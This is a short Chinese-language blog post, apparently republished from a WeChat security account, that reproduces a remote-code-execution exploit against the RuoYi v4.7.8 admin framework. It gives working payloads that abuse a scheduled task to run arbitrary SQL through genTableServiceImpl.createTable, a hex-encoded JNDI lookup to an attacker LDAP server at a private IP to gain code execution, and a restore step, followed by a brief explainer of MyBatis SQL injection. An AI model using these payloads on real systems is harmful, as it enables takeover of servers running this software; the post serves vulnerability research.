感谢luelueking大佬提供的思路
https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC
RuoYi项目地址
https://github.com/yangzongzhuan/RuoYi
RCE复现
在定时任务中，新增添加
genTableServiceImpl.createTable('UPDATEsys_jobSETinvoke_target ='test'WHEREjob_id =1;')
修改成功
payloadjavax.naming.InitialContext.lookup('ldap://10.211.55.4:1389/aaaaa')genTableServiceImpl.createTable('UPDATEsys_jobSETinvoke_target =0x6A617661782E6E616D696E672E496E697469616C436F6E746578742E6C6F6F6B757028276C6461703A2F2F31302E3231312E35352E343A313338392F61616161612729WHEREjob_id =1;')
成功打回ldap 配合ldap 工具实现RCE~
恢复
genTableServiceImpl.createTable('UPDATEsys_jobSETinvoke_target ='ryTask.ryNoParams'WHEREjob_id =1;')
利用链
这个函数可以执行任意sql语句~
TIPS
在mybatis中动态 sql 是其主要特性之一，在 mapper 中定义的参数传到 xml 中之后，在执行操作之前 mybatis 会对其进行动态解析。 mybatis 提供了两种支持动态 sql 的语法：#{} 以及 $ { }， 其最大的区别则是前者方式能够很大程度防止sql注入(安全)，后者方式无法防止Sql注入 。
什么？？不懂什么是Sql注入？额。。。
Sql注入指的是程序解析时会将你传入的参数作为原来SQL语句的一部分，打乱原来SQL的结构，而通常我们只是需要传入一个参数而已.
原文始发于微信公众号（白帽子）：Ruoyi Sql Rce v4.7.8 RCE 复现分析
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论